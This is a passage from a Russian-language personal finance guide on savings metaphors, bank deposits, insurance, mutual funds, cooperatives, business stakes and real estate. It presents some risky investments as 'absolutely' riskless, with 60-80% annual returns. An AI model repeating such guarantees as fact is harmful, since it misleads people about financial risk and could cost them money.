в постель. Для вас я могу предложить новый подход, который называется «Три колбы». «Три колбы» Представьте себе химическую лабораторию, на столе которой установлены три колбы. Они установлены таким образом, что по наполнению первой колбы жидкость, поступающая в нее, переливается по трубочке во вторую колбу, а когда наполняется вторая колба, начинает наполняться третья колба. Метафора Колбы №1. «Уровень защищенности» В нее капает всегда. Маленькое озерцо денег собирается с 10% дохода. Там небольшая сумма, но ее должно хватить на поддержание минимального уровня жизнеобеспечения в течение года. Вы можете ее набрать сразу, если доходы позволяют. Или набирать, используя 10-15% дохода. Метафора Колбы №2. «Уровень комфорта» Вы начинаете зарабатывать больше. Ваш уровень жизни должен повышаться, иначе может пропасть мотивация к тому, что вы делаете. Важно планомерно повышать свой уровень жизни. Следите за своим здоровьем, заботьтесь о своем теле и о своих близких, стройте отношения и спокойно пополняйте свое второе озерцо. Оно будет наполняться после того, как наполнится верхняя колба защиты. Деньги из плана Защищенность лежат у вас в банке или дома. Вы что-то себе купили из области комфорта и оставили деньги на наполнение колбы «Комфорт». Тут уже может быть сумма в 20-30% от дохода. А ведь у вас уже отложены денежки на уровне «Защищенности», и чувствуете вы себя хорошо и уверенно. Это отразится на ваших доходах, я вам гарантирую. Озерцо Комфорт сформировано, и теперь вы можете не просто жить, не работая в течение года, но и жить с комфортом, время от времени что-то покупая себе из модной одежды, мебели, ужиная в ресторанах, отдыхая на море. У вас уже два наполненных озера. Теперь вы не почувствуете напряжения от вашей финансовой игры. Ведь эти два озерца у вас уже работают на вас. Деньги уровня «Комфорт» можете уже запустить в работу. И наконец, начинаем собирать наше самое крупное и большое озеро для больших инвестиций. Посмотрите: по нашей схеме это озеро может наполниться только тогда, когда вы наполните два предыдущих. Этим способом накопления воспользовалась молодая семья Игорь и Алеся. Им по 25 лет и их доход составляет 60 300 рублей ежемесячно. Они составили план, по которому будут откладывать 20 % своего дохода ежемесячно. Получилась сумма по 12 060 рублей. Они решили, что это не много. Раньше на эти деньги они ходили в боулинг и рестораны. 12 тысяч потратить в Москве можно быстро и незаметно. Боулинг был заменен походом в бассейн, а количество походов в ресторан сведено до 2 в месяц, кофейни и пиццерии экономично их заменили. Эти деньги высвободились с помощью грамотно построенного бюджета. Их жизнь существенно не изменилась, скорее даже улучшилась, ведь появилось чувство финансовой защищенности. Деньги было решено вкладывать в ПИФы, и для расчета доходности они взяли ставку в 12% годовых. Удобство еще и в том, что если «прижмет», паи всегда можно продать. К концу первого года по плану должно накопиться 152 951 и этим наполнится финансовая емкость «Защищенности». Теперь, если кто-то из них заболеет или Алеся забеременеет и перестанет работать, у них есть 12 745 рублей, которые они могут тратить в месяц. В январе следующего года они решили узаконить свои отношения, родители обещали подарить им денег (около 116 тысяч рублей), свадьбу они решили не устраивать, но устроить себе свадебное путешествие. К концу второго года будет наполнена финансовая емкость «комфорт» - 395 892. Что можно делать с этими деньгами? Они есть, они работают, при необходимости их можно тратить. Можно, не работая, целый год тратить по 30 тысяч ежемесячно. С этого момента можно приступить к покупке в кредит, например машины. В таком случае ежемесячные суммы откладывания идут не на покупку пая, а на погашение кредита. Но ребята решили не трогать эти деньги и продолжать откладывать, потому – что через пять лет они получат сумму равную 1 320 275. А через 10 лет даже 3 827 759. Они не стали учитывать в своем плане, но надеются на то, что, во-первых, • доходы их будут расти; • доходность отдельных ПИФов достигает 40-50%. Т.е этот план минимум. И самое главное, они продолжают жить полной жизнью, и при увеличении доходов они также вправе увеличить свои расходы. Жизнь есть жизнь. 4. Инструменты увеличения денег Есть разные инструменты для роста денег: • банковские вклады; • паевые инвестиционные фонды (ПИФ); • накопительное страхование; • брокерские услуги (интернет-трейдинг); • покупка недвижимости. В каждом индивидуальном случае можно использовать какой-то из них. Выбор инструмента может зависеть от величины суммы, которую вы хотите инвестировать, времени на срок инвестиции, вашему отношению к риску потерять деньги, цели на которые вам нужны деньги и многое-многое другое. Поначалу можно попробовать самому, но потом все же начать пользоваться услугами финансового консультанта. Банковские вклады Первый вид услуг, который в средневековой Европе начали оказывать всем желающим, - это обмен валюты, сидевшие на специально отведенных местах на рыночной площади менялы. Сидели они на специальных скамьях, откуда и получили свое название – банкиры. Скамья по-итальянски - bаnсо. Если банкир вдруг разорялся, то ero скамью публично ломали - по-итальянски bаnсо rota. Вот вам и происхождение термина «банкрот». Банки являются основой финансовой системы и более ориентированы на надежность, чем на доходность. Поэтому практически всегда получение процентов по банковскому вкладу - это наименее доходный вид вложения средств, порой даже не покрывающий убытков от инфляции. 1. Открытие вклада «до востребования». В настоящее время, как правило, со счетом этого вклада неразрывно связана пластиковая карточка. Это очень удобный инструмент для доступа к счету практически из любой точки земного шара. Вклад до востребования - очень полезный инструмент для сбережения средств, находящихся в режиме накопления. А чтобы обеспечить сохранность средств на счете (то есть защитить их от собственных посягательств), нужно избавиться от связанной с таким счетом карточки. Проценты по такому вкладу очень маленькие. 2. Открытие «срочного» вклада. Вклад открывается на более-менее значительный срок, например на 6 месяцев, год, два. По такому вкладу банки платят проценты, но такие, которые, как правило, не покрывают даже инфляцию. Или покрывают на 70% Срочный вклад - еще один элемент в системе сбережения денег. На нем можно аккумулировать уже ставшие увесистыми суммы денег, чтобы заработать пусть небольшие, но дополнительные доходы в виде процентов. Однако если вы решите прервать договор вклада до наступления оговоренного в нем срока, банк в виде штрафа выплатит вам проценты по ставке вклада «до востребования». А может, и не выплатит вовсе. Поэтому перед открытием такого вклада необходимо хорошо взвесить, не понадобятся ли вам эти деньги в другом месте в течение срока действия договора, и внимательно прочитать его, чтобы при досрочном расторжении не было сюрпризов. Совершение платежей Выдавая вам связанную с вкладом до востребования карточку, банк дает вам в руки мощнейший инструмент для совершения платежей. Платить с помощью карточки просто, удобно, быстро. Деньги с собой носить не надо, карточкой можно воспользоваться в любой точке земного шара. В этом удобстве таятся очень опасные для сбережения денег каждого клиента банка особенности. Во-первых, поскольку деньги на этом счете очень подвижны, банки предпочитают за остатки средств на нем вообще не платить клиентам процентов. Во-вторых, если вы активно пользуетесь пластиковой карточкой, то в скором времени уже не счет в банке, а именно карточка начинает олицетворять для вас и банк, и услуги, которые он оказывает. И банк с удовольствием предлагает вам дополнительную услугу по карточке: если у вас сегодня нет на счете денег, то «по карточке» их вам с удовольствием ссудят на небольшой срок. В этом «удобстве» очень часто кроется основная банковская уловка - выдать пассив за актив. Только что у вас на счете были собственные средства, которые по всем канонам можно было считать активами, но вот совершена покупка, денег на счете не хватило, банк с удовольствием вам их ссудил, и вы, сами того не замечая, уже должны ему. И это бы полбеды. Чтобы вас не тревожить, банк первые 20 дней даже проценты насчитывать не будет. В первый раз вы погасите задолженность в течение недели, второй раз - в течение двух. А затем плавно перейдете в категорию людей, регулярно платящих проценты (и, поверьте, немаленькие!) Дальше - больше. Столько хороших вещей вокруг, столько всего надо купить! Банк с удовольствием выдает ссуды (причем заметьте, выдает всем подряд, автоматически), вы с удовольствием покупаете, а расплата настает позже. Вложения в банк как элемент личной инвестиционной стратегии возможны лишь на этапе накопления средств либо их хранения. С этой функцией банки справляются великолепно. Использовать же банковские вклады как объект инвестирования, по крайней мере, неразумно. Слишком мал доход, получаемый в результате, слишком жесткие условия предлагаются банками (при досрочном расторжении - уменьшение и без того невысокого дохода). Накопительное страхование Все виды страхования можно, хотя и условно, разбить на две большие группы - рисковые и накопительные. К рисковым видам страхования относятся, например, страхование имущества, страхование грузов, страхование от несчастного случая и т. д. - все виды страховых событий, которые можно условно назвать «риск потерять что-нибудь», (например риск уничтожения здания от пожара, наводнения, противоправных действий третьих лиц или риск потерять трудоспособность от несчастного случая). При таких видах страхования наступление страхового события - это реализация риска, то есть пожар, наводнение, кража. При наступлении страхового события страховая компания производит выплату. Поскольку риски, как правило, малы, страховые тарифы также невелики - обычно от 0,5 до 2 % в год от страховой суммы. В некоторых случаях, если вы страхуете от угона безумно дорогой автомобиль, марка которого популярна среди угонщиков, тариф может доходить до 5, иногда 7 % в год. К другим видам страхования относятся так называемые накопительные виды. Накопительное страхование - страхование жизни, содержащее элементы сбережения и накопления денежных средств. Это вид долгосрочного (на несколько лет) страхования жизни, при котором страховая сумма выплачивается застраховавшему ее человеку (страхователю) по прошествии нескольких лет или при достижении им определенного возраста. Страхователь платит ежемесячные взносы, а, к примеру, через пять или десять лет они возвращаются к нему в виде солидной суммы. Если застраховавший свою жизнь человек умирает или погибает при катастрофе, то полная сумма страховки выплачивается его наследникам. В силу того, что такой вид страхования способствует сбережению и накоплению денег, он может считаться не только формой страхования жизни, но и определенной формой инвестиций (вложения денег в прибыльное дело). Во избежание потерь при инфляции страховые полисы часто номинируют в валюте, а страховая компания дополнительно к сумме накоплений обеспечивает потребителю определенный доход — доходность полиса. Страхование выплаты к сроку Страхование выплаты к сроку — это удобный способ накопления суммы, необходимой для реализации долгосрочных планов или создания стартового капитала для детей. Заключая договор страхования, человек указывает дату и сумму, которую он хотел бы получить к этой дате. Даже если застрахованный уйдет из жизни раньше окончания действия полиса, назначенные им выгодоприобретатели получат обусловленную договором страхования сумму к намеченному сроку. Как оплачивается страхование При страховании по данному варианту взносы уплачиваются в рассрочку в течение всего срока страхования (от 3 до 20 лет). В случае смерти застрахованного уплата страховых взносов прекращается. Минимальный взнос — $10 в месяц. Дополнительный доход Полис страхования выплаты к сроку — больше, чем просто способ накопления необходимой суммы, это выгодное вложение денег. На страховой резерв, формируемый из страховых взносов, ежегодно начисляются проценты, которые присоединяются к страховой сумме. Например, мужчина 35 лет принял решение в течение 12 лет накопить своему 5-летнему сыну на образование $8000. Ежемесячный страховой взнос будет составлять $55,20. Через 12 лет мужчина или его сын получат страховую сумму $8000 плюс дополнительный доход, который может увеличить страховую сумму до $11 180 Страхование на дожитие Суть этого варианта страхования в том, что если застрахованный человек доживает до даты окончания действия полиса, ему выплачивается страховая сумма. Страховую сумму Вы определяете сами при заключении договора страхования, от нее зависят размеры взносов, которые Вы будете платить. Этот вариант страхования применяется только в комбинации со страхованием на случай потери кормильца на срок или страхованием с возвратом взносов в случае смерти. Подобное комбинирование выгодно тем, что выплата будет произведена в любом случае. Если застрахованный человек ушел из жизни в период действия договора страхования, положенную в этом случае сумму получит назначенный им выгодоприобретатель. Дополнительный доход Полис страхования на дожитие — это выгодное вложение денег. На страховой резерв, формируемый из страховых взносов, ежегодно начисляются проценты, которые присоединяются к страховой сумме. Женщина 32 лет решила копить деньги в течение 10 лет. При этом, желая освободить родственников от материальных проблем в случае своей смерти, она застраховала свою жизнь на дожитие с возвратом взносов в случае смерти. Ежегодный взнос при этом составил $1000. В случае дожития до окончания действия договора Страховой Дом ВСК выплатит страховую сумму, которая при доходности в 8% достигнет $13307,33. Если же в период действия договора наступит смерть, то ВСК немедленно возвратит все уплаченные взносы выгодоприобретателю. Использование страховых продуктов в качестве инструмента личной инвестиционной стратегии. Использование рисковых видов страхования как элементов личной стратегии позволяет серьезно уменьшить возникающие в течение жизни непредвиденные траты. Обязательно должны быть застрахованы: • жилье и домашнее имущество - на случай пожара, наводнения, землетрясения (далее можно перечислить все природные катаклизмы, характерные для местности вашего постоянного проживания) и противоправных действий третьих лиц; • то же касается загородного дома, дачи, другого недвижимого имущества; • автомобиль - на случай угона, разукомплектования, ущерба, полученного в ДТП; • все необходимые страховки. Паевые инвестиционные фонды Паевой инвестиционный фонд – это сложенные вместе средства пайщиков, на которые управляющая компания приобретает ценные бумаги, разрешенные паевым фондам законодательством РФ. То есть инвесторы, которые не хотят активно заниматься размещением и управлением своих денег, не имея знаний или времени, передают их в управление компании, которая и обязуется это делать согласно своей инвестиционной декларации. История Первые паевые фонды в нашей стране появились в 1996 году, вплоть до конца 2002 года появление нового паевого фонда было редкостью. Ну а в 2003 году количество новых фондов превысило количество всех существующих до этого года фондов. О росте популярности паевых инвестиционных фондов в 2003 году говорит хотя бы то, что совокупность активов всех фондов выросла с 12,7 до 76,2 миллиардов рублей! А это как-никак шестикратный рост. Фонды делятся на открытые, закрытые и интервальные. Отличаются они тем, что первые принимают деньги в любой рабочий день, вторые – на этапе формирования, а третьи – только в определенные временные интервалы, которые длятся в среднем по две недели четыре раза в год. И те и другие бывают фондами акций, облигаций, смешанных инвестиций, индексными, венчурными, недвижимости и др. Фонды акций Основа фонда – это различные акции российских предприятий. Очень рискованны для краткосрочных инвестиций, но очень выгодны для долгосрочного капиталовложения. Являются самыми прибыльными. Фонды облигаций Основа фонда – облигации различных видов. Очень надежны для краткосрочных и долгосрочных инвестиций. Являются немного прибыльней, чем процент с банковского вклада. Смешанные фонды Основу фонда составляют как акции, так и облигации, и поэтому смешанные фонды являются золотой серединой между фондами акций и облигаций во всех отношениях. Индексные фонды – разновидность фондов акций. Очень популярны во всем мире. Только начинают свою работу на территории России. Основу фонда составляют наиболее стабильные и прибыльные акции ММВБ и РТС. Очень рискованны для краткосрочных инвестиций, но также стабильны на больших промежутках времени. Некоторые считают, что стратегия инвестирования через паевые инвестиционные фонды очень рискованна, так как мы основываем ее на покупке паев фондов акций и смешанных инвестиций, в частности на первом этапе. И это будет правдой! Индустрия, существующая более 80 лет, доказала, по крайней мере, свою востребованность. Исторически идея коллективных инвестиций для получения дальнейшего дохода присуща человеку с давних времен. Мы всегда стремились объединить свои сбережения для получения прибыли. Много тысячелетий назад человек понял, что, отдав часть своих денег купцу, отправляющемуся в дальний путь за товаром, можно затем получить хороший доход. Работают ПИФы по следующему принципу. Они выпускают свои собственные акции (паи) и продают их желающим приумножить свободные деньги. На вырученные от продажи паев средства фонды покупают большой набор различных ценных бумаг и начинают спекулировать ими на рынке. Текущая цена акции самого ПИФа складывается из текущих стоимостей ценных бумаг в портфеле фонда. Если фонд приобрел различные по размеру пакеты, например ста разных акций, считайте, что он разложил ваши деньги в сотню маленьких корзинок. Существуют фонды, показывающие стабильный рост в течение десятилетий (!), в некоторые годы их доходность доходит до 70 % годовых. Если же у вас возникла потребность срочно получить у ПИФа назад свои деньги, вы просто продаете кому-нибудь (чаще всего самому же фонду) принадлежащие вам паи. Если фонд стабильно доходный, то проблем с этим у вас не возникнет. Разница между тем, что вы вложили в акции фонда в начале и получили от их продажи в конце, и составит ваш доход. Несколько процентов от этой суммы фонд возьмет себе в виде комиссии. Поскольку ваше вложение в ПИФ является делом добровольным, государство не принимает на себя никаких гарантий по сохранности ваших средств в нем, и платой за возможные высокие доходы будет риск. Риск не только не приумножить свои деньги, но, возможно, и потерять часть из них. Какой же стратегии лучше всего придерживаться при инвестировании своих средств в ПИФ? Очень привлекательным моментом при инвестировании средств во взаимные фонды является тот факт, что размер минимального взноса большинства фондов действительно минимальный. Многие фонды определили его на уровне 100 долларов, или около 3000 рублей. Это, конечно, очень привлекательная особенность для начинающих инвесторов. Однако не надо забывать, что вложения в фонд - это обычные, никем не застрахованные, рискованные вложения. Поэтому не стоит, наверное, все откладываемые в виде сбережений средства тут же помещать в ПИФ. А вот на 25-30% средств, имеющихся у вас в виде сбережений, даже на начальном этапе накопления можно смело заключать договор о покупке паев фонда. Вообще, на наш взгляд, наилучшей стратегией инвестирования средств в ПИФ может быть следующая: в течение длительного времени на регулярной основе вносить равные платежи. Эта стратегия так и называется - Равными Долями, Регулярно, Долго. В чем преимущества этой стратегии? Их несколько. Перечислим некоторые, самые серьезные. 1. Внося равные суммы на регулярной основе в серьезный финансовый институт, вы начинаете, несмотря на возможную смехотворность первоначальных сумм, жизнь настоящего инвестора. Вы контролируете процесс внесения денег на счет фонда, регулярно получаете выписки, интересуетесь доходностью, сравниваете показатели работы своего фонда с другими, заводите знакомства, быть может, находите партнеров. Потихоньку начинает складываться тот процесс уважения и любви к собственным деньгам, о котором мы говорили выше. 2. Если стоимость пая фонда постоянно растет, это очень хорошо. Внесенные в прошлые месяцы взносы уже приносят свои зримые плоды, и вы, можно сказать, становитесь участником «бычьего» рынка). 3. Если же стоимость пая падает, это одновременно и рискованно, и может оказаться очень выгодным. Потому что ваша доля в ПИФе в таком случае увеличивается. ПОКVПКА ПАЕВ КАК ЭЛЕМЕНТ ЛИЧНОЙ ИНВЕСТИЦИОННОЙ СТРАТЕГИИ Покупка пая инвестиционного фонда - прекрасный элемент собственной инвестиционной стратегии. Большинство российских ПИФов сегодня показывают доходность на уровне 20 % и более в год. Можно предположить, что такая динамика развития будет доминирующей на этом рынке в ближайшие годы. Предпосылки для этого следующие: с одной стороны, экономика нашей страны в последние годы развивается стабильно, и, видимо, темпы ее роста останутся такими же в ближайшие пять-семь лет; с другой стороны, рынок частных инвестиций только начинает становиться цивилизованным, и предложение на нем будет еще достаточно долго отставать от спроса на эти услуги. Как следствие, инвестиции в ценные бумаги российских предприятий могут быть чрезвычайно доходным элементом личной инвестиционной стратегии. Специалисты советуют: не надо бояться вкладывать деньги в фонд, если в тот день, когда вы пришли делать очередной взнос, вы обнаруживаете, что стоимость активов фонда упала. Краткосрочные падения возможны, поскольку, как ни крути, мы живем в стихии рынка. Частное инвестирование ИНВЕСТИРОВАНИЕ В ДОЛЕВОЕ УЧАСТИЕ В МАЛОМ БИЗНЕСЕ Инвестирование в долевое участие в малом бизнесе - прекрасная возможность для умножения своих сбережений. Почему всех так интересует именно малый бизнес? Почему во многих странах для малого бизнеса существуют льготы, почему именно его опекают правительства и некоммерческие организации, почему именно он рассматривается как объект инвестирования совсем не «малыми» финансовыми институтами? Ответ прост: большой бизнес вырастает из малого. Причем рост этот происходит именно не по дням, а по часам. Вложить сегодня средства в какого-нибудь монстра - это просто возможность их сохранить (если монстр - не очередной Enron). А вот вложить деньги в то, что через пять лет станет новым Microsoft, - это значит приумножить их многократно. Кредитные потребительские кооперативы По законодательству РФ потребительский кооператив граждан, созданный гражданами, добровольно объединившимися для удовлетворения потребностей в финансовой взаимопомощи. Согласно ФЗ "О кредитных потребительских кооперативах граждан" от 7 августа 2001 г. К. п. к. г. могут создаваться по признаку общности места жительства, трудовой деятельности, профессиональной принадлежности или любой иной общности граждан. Число членов такого кооператива не может быть менее, чем 15, и более, чем 2000 человек. В таких кооперативах в обязательном порядке создается фонд финансовой взаимопомощи, который является источником займов, предоставляемых членам данного кооператива. ФОНД ФИНАНСОВОЙ ВЗАИМОПОМОЩИ По законодательству РФ, денежные средства, используемые кредитным потребительским кооперативом граждан для предоставления займов своим членам, формируется за счет собственных средств указанного кооператива и личных сбережений его членов. • Это доступный заем на приобретение товаров длительного пользования, автомобилей, на непредвиденные расходы, на "дотянуть до получки или пенсии", на начало небольшого дела, на лечение, учебу и другие потребительские цели. • Он выдает займы на взаимоприемлемых условиях, которыми можно пользоваться до 3-х лет. Он работает в интересах своих членов и в удобном для них режиме, так как он создан людьми для них самих же. • Это демократия в управлении. Он зависим только от своих пайщиков, его основа - их сбережения. • Это минимальный риск невозврата займа, ибо его члены знакомы друг с другом и связаны общей ответственностью. • Это коллективное определение условий сбережения денежных средств пайщиков и дополнительные накопления от доходов кооператива. • Это удобное сбережение своих средств от инфляции. Он работает в основном с физическими лицами своими пайщиками и только им предоставляет займы. • Это гарантия и стабильность. Он взаимодействует с Администрацией города и области и другими подобными организациями. Итак, вклад в кредитный кооператив - это прекрасная возможность для надежного, выгодного и контролируемого помещения сбережений. Выгодного – потому что на сегодняшний день кооперативы предлагают почти вдвое более высокие процентные ставки по вкладам, чем банки. Надежного - потому что кооперативы в основном делают вложения в сферу потребительского кредитования, то есть в область с большим уровнем диверсификации рисков. Контролируемого - потому что, принося деньги во вклад в кооператив, вы обязаны стать его членом, и получаете по закону доступ к управлению им. Как член кооператива, вы можете присутствовать на ежегодном или экстренном собрании, которое является высшим органом в управлении кооперативом, обсуждать там любые вопросы и голосовать с правом решающего голоса по всем этим вопросам. Вложения в собственный бизнес Вложения в собственный бизнес на определенном этапе жизни - необходимый элемент личной инвестиционной стратегии. Мы уже говорили о том, что создание собственного бизнеса дает возможность гораздо больше зарабатывать и гораздо экономнее расходовать средства. Для создания же собственного бизнеса нужны инвестиции: ясно, что на пустом месте само по себе ничего не возникнет. Управление собственным бизнесом - это большая наука, она далеко выходит за рамки обсуждаемых здесь вопросов. Однако с точки зрения создания личной инвестиционной стратегии владельцам собственного бизнеса можно дать несколько советов. Совет 1. Называйте собственным бизнесом такой, в котором вы контролируете 15 % и более. Тогда ваше решение имеет какой-то вес в предприятии, к вашему слову прислушиваются. Цифра эта достаточно условна, но обычно во всем мире так и считают: если кроме вас шесть учредителей с равными долями, то это ВАШ бизнес, а если семь - то это чужой. И соответственно вести себя с ним нужно, как с чужим (то есть исполнять требования, которые мы выработали для инвестиций в чужой бизнес). Совет 2. Подходите к вопросу о необходимости создания собственного бизнеса, если вы уверены, что будете получать более 2 % в месяц чистой прибыли на вложенный в создание этого бизнеса капитал. Если меньше - не имеет смысла городить огород. Можно совершенно ничего не делать, иметь такие же деньги в виде процентов по вкладам и просто наслаждаться жизнью и обилием свободного времени. Бизнес должен приносить владельцу доход, и доход немаленький, иначе получится как в одном из монологов М. Жванецкого: «Причем здесь борщ, когда такие дела на кухне?!» Совет 3. Ежемесячно (в крайнем случае, ежеквартально) получать часть дохода бизнеса (не менее 2 % на вложенный капитал) и изымать из бизнеса. Зачем это надо делать? Очень часто начинающие бизнесмены, объясняя другим, что «это и так все мое», не получают зарплаты, не выплачивают себе дохода и все заработанные деньги возвращают обратно «в дело». Заплати сначала себе. Это правило мы уже обсуждали. Почему же оно возникает опять? Потому что большинство начинающих бизнесменов, мотивируя тем, что деньги нужны для развития бизнеса, в течение длительного времени не получают отдачу на вложенные деньги и оказывают своему бизнесу при этом медвежью услугу. Ситуация, когда владелец постоянно инвестирует в свое предприятие, становится привычной, из-за этого искажаются данные о реальной себестоимости, следствием чего может стать потеря предприятием конкурентных преимуществ, проблемы с бизнесом, может быть даже банкротство. Заплати сначала себе в применении к собственному бизнесу: заплати себе зарплату, возьми в предприятии часть дохода, а если оставшихся денег не хватает на покрытие издержек - либо закрывай эту лавку, либо крутись, думай, борись за место под солнцем! Только так бизнес проживет долгие годы! Если же бизнес требует дополнительных вложений, то делать их нужно, соответствующим образом оформляя новые инвестиции - или как увеличение вашей доли в уставном капитале компании, или как заем со всеми присущими ему атрибутами (срочность, возвратность, платность, целевое использование). Вложения в чужой бизнес Вложения в чужой бизнес - это вложения, которые вы абсолютно не контролируете. Единственный побудительный мотив для того, чтобы делать такие вложения, - большой доход. А поскольку вы не контролируете движение средств в чужом бизнесе и поскольку этот бизнес, скорее всего, менее надежен, чем ПИФ или кредитный кооператив, вложения в него, чтобы вы согласились на них, должны быть фантастически выгодны. Выгодны настолько, чтобы перекрыть возможный риск от потери этих средств. Яркий пример такого рода вложений мы уже рассмотрели - это частный кредит бизнесу родственника или знакомого. Именно потому, что это очень рискованное вложение (неконтролируемое, управляемое, вообще говоря, неизвестным человеком), доходность его должна быть выше 36 %. Если заемщик не может предложить таких процентов, не стоит заниматься подобного рода вложениями. Поверьте, свои 24-30% можно получать с гораздо меньшим риском. В иных случаях лучше предпочесть менее доходные, но более надежные вложения. И меньше разочарование в случае неудачи, и вероятность самой неудачи меньше. Советы для желающих инвестировать в чужой бизнес. Возможность вложений в чужой бизнес рассматривается в последнюю очередь и только в том случае, если это вложение сулит доходы, в разы превышающие доходы от других инвестиций. Но делать их нужно, конечно, с оговорками. Независимо от степени близости (родственной или дружественной), следует предварительно поговорить с заемщиком и объяснить, что в случае задержек или проблем с возвратом долга вас ничто не остановит перед необходимостью прибегнуть к самым крутым мерам для возврата задолженности. При планировании сделки неукоснительно соблюдать правило «Чем выше риск, тем выше должен быть доход». Если в обеспечение займа предлагается некая недвижимость, доход может быть один, например 2 % в месяц, а если заем выдается без обеспечения, то и доход должен быть другой, например 5 % в месяц. Все сделки непременно оформляются, и лучше - нотариально. Даже такие, для которых закон не требует обязательного нотариального оформления. Оплату оформления должна производить занимающая сторона. В пунктах договора необходимо специально оговорить процедуру уплаты пеней и штрафов за задержку процентных платежей или возврат всей суммы займа. При этом прямо в тексте договора четко определить понятия «штраф» и «пеня». Штраф - это единовременно взимаемая с заемщика сумма за каждый факт нарушения условий договора. Например, 200 рублей за каждое нарушение сроков выплаты по договору. Пеня - это дополнительные проценты, взимаемые кроме тех, которые указаны в договоре. Например, 0,1 % в день на неуплаченную сумму помимо основных процентов. В начале работы, если сделка с человеком оформляется в первый или второй раз, у займа обязательно должно быть обеспечение. Недвижимость Чем же так хороша недвижимость как объект для инвестирования? Во-первых, тем, что она недвижимость. Ее не унесешь, не спрячешь, не продашь втихомолку. Из всех противоправных действий с ней можно сделать только одно - ее можно уничтожить. А коль скоро это так, то это, пожалуй, самый надежный объект для инвестирования, порою даже более надежный, чем золотовалютные ценности. Во-вторых, количество инвесторов растет гораздо быстрее, чем количество объектов недвижимости, следовательно, цена на недвижимость только растет, и растет порой все опережающими темпами. В-третьих, коль скоро каждый объект недвижимости уникален, а сделки с ней подлежат специальным проверкам и регистрации, недвижимость можно безбоязненно закладывать, продавать, наследовать и т. д., то есть безбоязненно совершать с ней любые правовые действия. Если у вас есть, например, 10 000$, то иногда может понадобиться объяснить, откуда они взялись. С недвижимостью этого делать не надо: каждый объект недвижимости неотделим от своей истории, и если уж вы владеете квартирой, то вы либо ее купили, либо наследовали, либо приватизировали, либо получили в подарок. Главное, что вы не могли ее украсть. В России сегодня есть еще и «в-четвертых». Инвестировать в недвижимость фантастически выгодно. Она и приносит приличный доход, и безумно быстро дорожает. Средненький объект нежилой недвижимости, например офисное помещение площадью в 250 кв. м, способно принести своему владельцу до 15-20 % годовых дохода от сдачи этого помещения внаем, да еще дорожает оно в течение последних лет на 40-60 % ежегодно. Вот вам и минимум 60% годовых при АБСОЛЮТНЫХ гарантиях! Проблема с инвестициями в недвижимость только одна: для того чтобы это делать, надо уже обладать серьезными средствами. А если учесть, что по правилам инвестирования непременно необходима диверсификация, то денег надо иметь примерно в три раза больше, чем необходимо для самих инвестиций в недвижимость. Однако все преграды преодолимы. Для того чтобы проиллюстрировать это утверждение по отношению к инвестициям в недвижимость, приведем два примера. 1. Мужчина средних лет покупает однокомнатную квартиру с помощью банковского кредита, выданного на 10 лет. В качестве первого взноса он вносит 10 000$, остальные 20 000$ дает банк. Ежемесячный взнос банку на погашение кредита и процентов составляет 291$. Мужчина сдает эту квартиру за 300$ в месяц (помните, что всегда есть молодые авантюристы, приехавшие покорять то место, где вы живете!). Таким образом, за 10 лет выплат кредита он получит 1080$ дополнительного дохода, да еще и квартира подорожает за это время минимум в два раза. Вот и получится, что к совершеннолетию дочери он подарит ей практически бесплатно доставшуюся ему квартиру. 2. Пять лет назад три молодых семьи сбросились по 4000$ и купили двухкомнатную квартиру. Договорились сразу - покупают для перепродажи подороже года через два-три. В течение этого времени в квартире никто из семей не живет, квартиру сдают. Какова бы ни была конъюнктура, через три года квартиру продают, деньги делят поровну на три части. Спустя два с половиной года квартиру продали за 43000$. Вложил 4000$, через два с половиной года получают 14 333$! Вот это результат! Почти 80 % годовых при, еще раз повторяю, АБСОЛЮТНОЙ нерискованности сделки. Риск был один - если компаньоны переругаются, поскольку квартира оформлялась не в долевую собственность, а на одного из инициаторов сделки. Но простые и понятные договоренности между участниками свели и этот риск к минимуму! В собственной инвестиционной программе сделки с недвижимостью - это уже, так сказать, высший пилотаж. Это то, чем очень интересно и очень прибыльно заниматься. Однако это финансовоемкие проекты и, кроме того, сделки с недвижимостью требуют серьезных правовых и экономических знаний, соответствующих связей и знакомств. Ваш инвестиционный портфель Вы должны понимать, что стратегия инвестирования должна быть проработана для вас индивидуально. У каждого из нас различный возраст, уровень доходов, мы живем в разных городах и имеем доступ к различным инструментам. У нас разные потребности, разный опыт и уровень образования. Мы готовы нести различные риски. Именно поэтому я рекомендую прорабатывать свою стратегию более досконально. Многие считают самым важным выбрать доходные инструменты. Уверяю вас – это всего лишь 5% успеха в создании большого капитала. Наиболее важным моментом я считаю создание индивидуального портфеля. Инвестиционный портфель – это набор финансовых инструментов. Портфель формируется исходя из тех задач, которые ставит перед собой инвестор. Для меня, так же как и для многих, одной из таких задач является финансовая свобода. Конечно, для каждого человека понятие финансовой свободы индивидуально. Но, на мой взгляд, финансовая свобода – это возможность заниматься тем, что тебе доставляет самое большое удовольствие в жизни, не встречая при этом материальных преград. Богатых людей многое объединяет, но и различаются они очень многим. Я хочу рассказать вам о жизни двух людей. Первый. Его мобильный телефон включен и днем и ночью, с утра до самого позднего вечера, он разрывается от звонков тех людей, которым срочно необходимо с ним поговорить. Семья видит его несколько часов в неделю, жена не помнит, когда последний раз проводила с ним вечер вдвоем. Здоровье начинает шалить оттого, что некогда заниматься спортом, питаться приходится нерегулярно, и главное – нервы сдают с каждым днем все больше и больше. Спиртное – лучший способ решения различных вопросов, и алкоголь стал ежедневной нормой. Отлучиться из города больше чем на 3 дня не представляется возможным, о долгосрочном отдыхе и говорить не приходится. Отдыхать он не умеет вообще, так как постоянно думает о делах, которые ему предстоит решать, и даже ночью, несмотря на усталость, он не может подолгу заснуть. Страх потерять нажитое преследует его каждую минуту. Второй. Ставит семью превыше всего. Свободное время позволяет ему вести здоровый образ жизни. Фитнес, правильное питание и железные нервы позволяют чувствовать себя здоровым человеком. Большую часть времени он путешествует и занимается своим любимым делом. Работая, он выкладывается на 100%, отдыхая, не вспоминает о работе вообще. Он не зависит ни от чиновников, ни от контрактов, ни от решений каких-то людей. Он видит, как растут его дети, и старается дать им все лучшее, чего достиг в этой жизни сам. Какой жизнью вы хотите жить? Выбирать вам! Два человека идут к одной цели – богатству, но один из них, пожалуй, забыл, для чего оно ему необходимо и ради кого он отправился в этот нелегкий путь. Первый создавал свой бизнес, но создал работу, которая приковала его к себе. Второй инвестировал деньги и это позволяет ему быть более свободным. Мы живем один раз, по крайней мере, в этом мире, и забывать об этом, помешавшись на экономии, – значит лишить себя возможности быть счастливым. Жизнь – это то, что мы не сможем купить себе ни за какие деньги.

